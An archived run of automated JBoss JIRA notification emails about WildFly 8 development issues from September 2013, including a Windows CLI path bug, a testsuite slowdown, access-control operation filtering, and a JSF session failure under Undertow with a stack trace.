    [ https://issues.jboss.org/browse/WFLY-17?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808262#comment-12808262 ] 

RH Bugzilla Integration commented on WFLY-17:
---------------------------------------------

Emmanuel Hugonnet (ehsavoie) <ehugonne at redhat.com> changed the Status of [bug 1006617|https://bugzilla.redhat.com/show_bug.cgi?id=1006617] from NEW to ASSIGNED
                
> ignore CNFE when scanning for entity classes in deployment
> ----------------------------------------------------------
>
>                 Key: WFLY-17
>                 URL: https://issues.jboss.org/browse/WFLY-17
>             Project: WildFly
>          Issue Type: Bug
>          Components: JPA / Hibernate
>            Reporter: Scott Marlow
>            Assignee: jaikiran pai
>             Fix For: 8.0.0.Alpha1
>
>         Attachments: cnfe.jar
>
>
> Deployments may contain non-entity classes that can not be loaded (see above forum reference for example).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 10:34:02 2013
From: jira-events at lists.jboss.org (Ivo Studensky (JIRA))
Date: Mon, 30 Sep 2013 10:34:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1913) CLI 'module add' command fail
 if a drive letter is specified in its resource path
In-Reply-To: <JIRA.12499050.1377075768000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499050.1377075768000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499050.1377075768000.6492.1380551642660@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1913?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808272#comment-12808272 ] 

Ivo Studensky commented on WFLY-1913:
-------------------------------------

I've got rid of it since the ctx.getCurrentDir() is called before that line, within translatePath() call at line 151 unless the path starts with root, see [1]. Thanks for the counter example I will take a look at it.

[1] https://github.com/wildfly/wildfly/blob/master/cli/src/main/java/org/jboss/as/cli/handlers/module/ASModuleHandler.java#L151
                
> CLI 'module add' command fail if a drive letter is specified in its resource path
> ---------------------------------------------------------------------------------
>
>                 Key: WFLY-1913
>                 URL: https://issues.jboss.org/browse/WFLY-1913
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Ivo Studensky
>            Assignee: Ivo Studensky
>             Fix For: 8.0.0.Beta1
>
>
> If a drive letter is specified in the resource path the module add command fails on MS Windows. It cannot locate such a resource because of doubled drive letter in the translated path.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 11:08:02 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Mon, 30 Sep 2013 11:08:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2173) Get subsystem test framework
 working with AS 7.2.0 legacy controller
In-Reply-To: <JIRA.12501755.1380296954000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501755.1380296954000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501755.1380296954000.6555.1380553682660@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2173?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Kabir Khan closed WFLY-2173.
----------------------------


    
> Get subsystem test framework working with AS 7.2.0 legacy controller
> --------------------------------------------------------------------
>
>                 Key: WFLY-2173
>                 URL: https://issues.jboss.org/browse/WFLY-2173
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>            Reporter: Kabir Khan
>            Assignee: Kabir Khan
>             Fix For: 8.0.0.CR1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 11:08:02 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Mon, 30 Sep 2013 11:08:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2185) Get core model test framework
 working with 7.2.0.Final legacy controller
In-Reply-To: <JIRA.12501848.1380553676314@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501848.1380553676314@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501848.1380553676314.6558.1380553682856@jira02.app.mwc.hst.phx2.redhat.com>

Kabir Khan created WFLY-2185:
--------------------------------

             Summary: Get core model test framework working with 7.2.0.Final legacy controller
                 Key: WFLY-2185
                 URL: https://issues.jboss.org/browse/WFLY-2185
             Project: WildFly
          Issue Type: Feature Request
            Reporter: Kabir Khan




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 11:10:02 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Mon, 30 Sep 2013 11:10:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2185) Get core model test framework
 working with 7.2.0.Final legacy controller
In-Reply-To: <JIRA.12501848.1380553676000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501848.1380553676000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501848.1380553676000.6561.1380553802664@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2185?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Kabir Khan updated WFLY-2185:
-----------------------------

    Component/s: Domain Management

    
> Get core model test framework working with 7.2.0.Final legacy controller
> ------------------------------------------------------------------------
>
>                 Key: WFLY-2185
>                 URL: https://issues.jboss.org/browse/WFLY-2185
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>            Reporter: Kabir Khan
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 11:10:02 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Mon, 30 Sep 2013 11:10:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2185) Get core model test framework
 working with 7.2.0.Final legacy controller
In-Reply-To: <JIRA.12501848.1380553676000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501848.1380553676000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501848.1380553676000.6563.1380553802771@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2185?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Kabir Khan reassigned WFLY-2185:
--------------------------------

    Assignee: Kabir Khan

    
> Get core model test framework working with 7.2.0.Final legacy controller
> ------------------------------------------------------------------------
>
>                 Key: WFLY-2185
>                 URL: https://issues.jboss.org/browse/WFLY-2185
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>            Reporter: Kabir Khan
>            Assignee: Kabir Khan
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 11:24:02 2013
From: jira-events at lists.jboss.org (Paul Ferraro (JIRA))
Date: Mon, 30 Sep 2013 11:24:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2186) Upgrade Infinispan to
	6.0.0.Beta2
In-Reply-To: <JIRA.12501855.1380554538210@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501855.1380554538210@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501855.1380554538210.6604.1380554642601@jira02.app.mwc.hst.phx2.redhat.com>

Paul Ferraro created WFLY-2186:
----------------------------------

             Summary: Upgrade Infinispan to 6.0.0.Beta2
                 Key: WFLY-2186
                 URL: https://issues.jboss.org/browse/WFLY-2186
             Project: WildFly
          Issue Type: Component  Upgrade
          Components: Clustering
    Affects Versions: 8.0.0.Alpha4
            Reporter: Paul Ferraro
            Assignee: Paul Ferraro
             Fix For: 8.0.0.Beta1




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 11:44:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 11:44:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2182) Significant slow down of
 testsuite execution
In-Reply-To: <JIRA.12501817.1380538653000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501817.1380538653000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501817.1380538653000.6662.1380555842801@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2182?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-2182:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1013698

    
> Significant slow down of testsuite execution
> --------------------------------------------
>
>                 Key: WFLY-2182
>                 URL: https://issues.jboss.org/browse/WFLY-2182
>             Project: WildFly
>          Issue Type: Bug
>          Components: Remoting
>            Reporter: Jozef Hartinger
>            Assignee: Kabir Khan
>
> I am observing a significant slow down when running the Weld integration testsuite. I tracked this down to this commit:
> https://github.com/wildfly/wildfly/commit/13f09525717a089f8a524d086fd865798410f368
> Here are the observed execution times of the Weld integration testsuite:
> Before: Total time: 4:30.357s
> After: Total time: 11:05.547s
> I also tried running the WildFly's integration testsuite (testsuite/integration/basic) with and without the 13f09525717a089f8a524d086fd865798410f368 commit:
> Before: Total time: 13:04.412s
> After: Total time: 21:33.089s
> Note that the difference is not observed when using the arquillian servlet protocol

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 11:44:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 11:44:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2182) Significant slow down of
 testsuite execution
In-Reply-To: <JIRA.12501817.1380538653000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501817.1380538653000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501817.1380538653000.6668.1380555843075@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2182?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808304#comment-12808304 ] 

RH Bugzilla Integration commented on WFLY-2182:
-----------------------------------------------

Kabir Khan <kkhan at redhat.com> made a comment on [bug 1013698|https://bugzilla.redhat.com/show_bug.cgi?id=1013698]

Making the arquillian connector call getDefaultDomain() rather than getMBeanCount() when checking the connection fixes this regression.
                
> Significant slow down of testsuite execution
> --------------------------------------------
>
>                 Key: WFLY-2182
>                 URL: https://issues.jboss.org/browse/WFLY-2182
>             Project: WildFly
>          Issue Type: Bug
>          Components: Remoting
>            Reporter: Jozef Hartinger
>            Assignee: Kabir Khan
>
> I am observing a significant slow down when running the Weld integration testsuite. I tracked this down to this commit:
> https://github.com/wildfly/wildfly/commit/13f09525717a089f8a524d086fd865798410f368
> Here are the observed execution times of the Weld integration testsuite:
> Before: Total time: 4:30.357s
> After: Total time: 11:05.547s
> I also tried running the WildFly's integration testsuite (testsuite/integration/basic) with and without the 13f09525717a089f8a524d086fd865798410f368 commit:
> Before: Total time: 13:04.412s
> After: Total time: 21:33.089s
> Note that the difference is not observed when using the arquillian servlet protocol

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 11:48:02 2013
From: jira-events at lists.jboss.org (Stan Silvert (JIRA))
Date: Mon, 30 Sep 2013 11:48:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1913) CLI 'module add' command fail
 if a drive letter is specified in its resource path
In-Reply-To: <JIRA.12499050.1377075768000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499050.1377075768000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499050.1377075768000.6683.1380556082605@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1913?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Stan Silvert updated WFLY-1913:
-------------------------------

    Attachment: install-mojarra-2.0.0.cli


I've attached a *.cli archive that demonstrates the problem.
                
> CLI 'module add' command fail if a drive letter is specified in its resource path
> ---------------------------------------------------------------------------------
>
>                 Key: WFLY-1913
>                 URL: https://issues.jboss.org/browse/WFLY-1913
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Ivo Studensky
>            Assignee: Ivo Studensky
>             Fix For: 8.0.0.Beta1
>
>         Attachments: install-mojarra-2.0.0.cli
>
>
> If a drive letter is specified in the resource path the module add command fails on MS Windows. It cannot locate such a resource because of doubled drive letter in the translated path.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 12:08:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 12:08:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2131) read-operation-names to
 return a filtered list of allowed operations
In-Reply-To: <JIRA.12501207.1379945777000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501207.1379945777000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501207.1379945777000.6714.1380557282973@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2131?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-2131:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1013056

    
> read-operation-names to return a filtered list of allowed operations
> --------------------------------------------------------------------
>
>                 Key: WFLY-2131
>                 URL: https://issues.jboss.org/browse/WFLY-2131
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Alexey Loubyansky
>            Assignee: Kabir Khan
>             Fix For: 8.0.0.CR1
>
>
> As discussed on IRC with Kabir, Heiko and me, we agreed that read-operation-names should return only the operations the caller is permitted to execute.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 12:10:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 12:10:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1756) Add access-control parameter
 to read-operation-description operation
In-Reply-To: <JIRA.12497280.1374684426000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497280.1374684426000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497280.1374684426000.6722.1380557402897@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1756?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-1756:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1013056

    
> Add access-control parameter to read-operation-description operation
> --------------------------------------------------------------------
>
>                 Key: WFLY-1756
>                 URL: https://issues.jboss.org/browse/WFLY-1756
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Kabir Khan
>            Assignee: Kabir Khan
>             Fix For: 8.0.0.Beta1
>
>
> Similar to read-resource-description

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 12:27:02 2013
From: jira-events at lists.jboss.org (Stan Silvert (JIRA))
Date: Mon, 30 Sep 2013 12:27:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2157) JSF ViewExpiredException
	without cookies.
In-Reply-To: <JIRA.12501535.1380124956000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501535.1380124956000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501535.1380124956000.6765.1380558422926@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2157?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Stan Silvert reassigned WFLY-2157:
----------------------------------

    Assignee: Stuart Douglas  (was: Stan Silvert)


Stuart, can you take a look at this?

I went back to Alpha3 and tried it on JBossWeb.  With JBossWeb it works, but with Undertow it does not.  I'm pretty sure that the problem has to do with HttpServletResponse.encodeURL() or encodeRedirectURL().  JSF uses that when cookies are disabled.
                
> JSF ViewExpiredException without cookies.
> -----------------------------------------
>
>                 Key: WFLY-2157
>                 URL: https://issues.jboss.org/browse/WFLY-2157
>             Project: WildFly
>          Issue Type: Bug
>          Components: JSF, Web (Undertow)
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Marek Schmidt
>            Assignee: Stuart Douglas
>         Attachments: weld-numberguess.war
>
>
> On a Firefox browser with cookies disabled, a simple CDI/JSF application (Weld Numberguess example) shows the following exception (same WAR works fine on EAP 6.1 with cookies disabled)
> {noformat}
> 14:17:27,508 ERROR [io.undertow.request] (default task-5) Servlet request failed HttpServerExchange{ POST /weld-numberguess/home.jsf}: javax.servlet.ServletException: viewId:/home.jsf - View /home.jsf could not be restored.
>         at javax.faces.webapp.FacesServlet.service(FacesServlet.java:659) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
>         at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:87) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:130) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:85) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:78)
>         at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:113) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.security.handlers.AuthenticationCallHandler.handleRequest(AuthenticationCallHandler.java:52) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:45) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:65) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.security.handlers.SecurityInitialHandler.handleRequest(SecurityInitialHandler.java:70) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at org.wildfly.extension.undertow.security.SecurityContextCreationHandler.handleRequest(SecurityContextCreationHandler.java:54)
>         at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:207) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:194) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:72) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:128) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:628) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_40]
>         at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_40]
>         at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]
> Caused by: javax.faces.application.ViewExpiredException: viewId:/home.jsf - View /home.jsf could not be restored.
>         at com.sun.faces.lifecycle.RestoreViewPhase.execute(RestoreViewPhase.java:210) [jsf-impl-2.2.1-jbossorg-1.jar:]
>         at com.sun.faces.lifecycle.Phase.doPhase(Phase.java:101) [jsf-impl-2.2.1-jbossorg-1.jar:]
>         at com.sun.faces.lifecycle.RestoreViewPhase.doPhase(RestoreViewPhase.java:121) [jsf-impl-2.2.1-jbossorg-1.jar:]
>         at com.sun.faces.lifecycle.LifecycleImpl.execute(LifecycleImpl.java:198) [jsf-impl-2.2.1-jbossorg-1.jar:]
>         at javax.faces.webapp.FacesServlet.service(FacesServlet.java:646) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
>         ... 29 more
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 15:10:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 30 Sep 2013 15:10:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1791) Unable to use Filter
 Expressions in filter-spec
In-Reply-To: <JIRA.12497707.1375289900000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497707.1375289900000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497707.1375289900000.6990.1380568202729@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1791?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808358#comment-12808358 ] 

RH Bugzilla Integration commented on WFLY-1791:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 982303|https://bugzilla.redhat.com/show_bug.cgi?id=982303] from ASSIGNED to MODIFIED
                
>  Unable to use Filter Expressions in filter-spec
> ------------------------------------------------
>
>                 Key: WFLY-1791
>                 URL: https://issues.jboss.org/browse/WFLY-1791
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>            Reporter: Emmanuel Hugonnet
>            Assignee: Alexey Loubyansky
>            Priority: Minor
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 16:15:03 2013
From: jira-events at lists.jboss.org (James Perkins (JIRA))
Date: Mon, 30 Sep 2013 16:15:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2183) Module and ClassName fields
 are disabled in new Custom handler dialog
In-Reply-To: <JIRA.12501821.1380539274000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501821.1380539274000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501821.1380539274000.7057.1380572103595@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2183?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808371#comment-12808371 ] 

James Perkins commented on WFLY-2183:
-------------------------------------

[~heiko.braun] these aren't and shouldn't be writable attributes. They are used on the {{add}} operation only.
                
> Module and ClassName fields are disabled in new Custom handler dialog
> ---------------------------------------------------------------------
>
>                 Key: WFLY-2183
>                 URL: https://issues.jboss.org/browse/WFLY-2183
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.CR1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 16:22:02 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Mon, 30 Sep 2013 16:22:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2183) Module and ClassName fields
 are disabled in new Custom handler dialog
In-Reply-To: <JIRA.12501821.1380539274000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501821.1380539274000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501821.1380539274000.7070.1380572522661@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2183?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-2183:
-----------------------------------

       Assignee: James Perkins  (was: Brian Stansberry)
    Component/s: Logging

    
> Module and ClassName fields are disabled in new Custom handler dialog
> ---------------------------------------------------------------------
>
>                 Key: WFLY-2183
>                 URL: https://issues.jboss.org/browse/WFLY-2183
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management, Logging
>            Reporter: Heiko Braun
>            Assignee: James Perkins
>             Fix For: 8.0.0.CR1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 16:22:02 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Mon, 30 Sep 2013 16:22:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2183) Module and ClassName fields
 are disabled in new Custom handler dialog
In-Reply-To: <JIRA.12501821.1380539274000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501821.1380539274000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501821.1380539274000.7077.1380572522963@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2183?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808374#comment-12808374 ] 

Brian Stansberry commented on WFLY-2183:
----------------------------------------

James, what does the :read-operation-description for the :add op look like? Are these parameters present?
                
> Module and ClassName fields are disabled in new Custom handler dialog
> ---------------------------------------------------------------------
>
>                 Key: WFLY-2183
>                 URL: https://issues.jboss.org/browse/WFLY-2183
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management, Logging
>            Reporter: Heiko Braun
>            Assignee: James Perkins
>             Fix For: 8.0.0.CR1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 30 16:27:02 2013
From: jira-events at lists.jboss.org (James Perkins (JIRA))
Date: Mon, 30 Sep 2013 16:27:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2183) Module and ClassName fields
 are disabled in new Custom handler dialog
In-Reply-To: <JIRA.12501821.1380539274000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501821.1380539274000@jira02.app.mwc.hst.phx2.redhat.com>
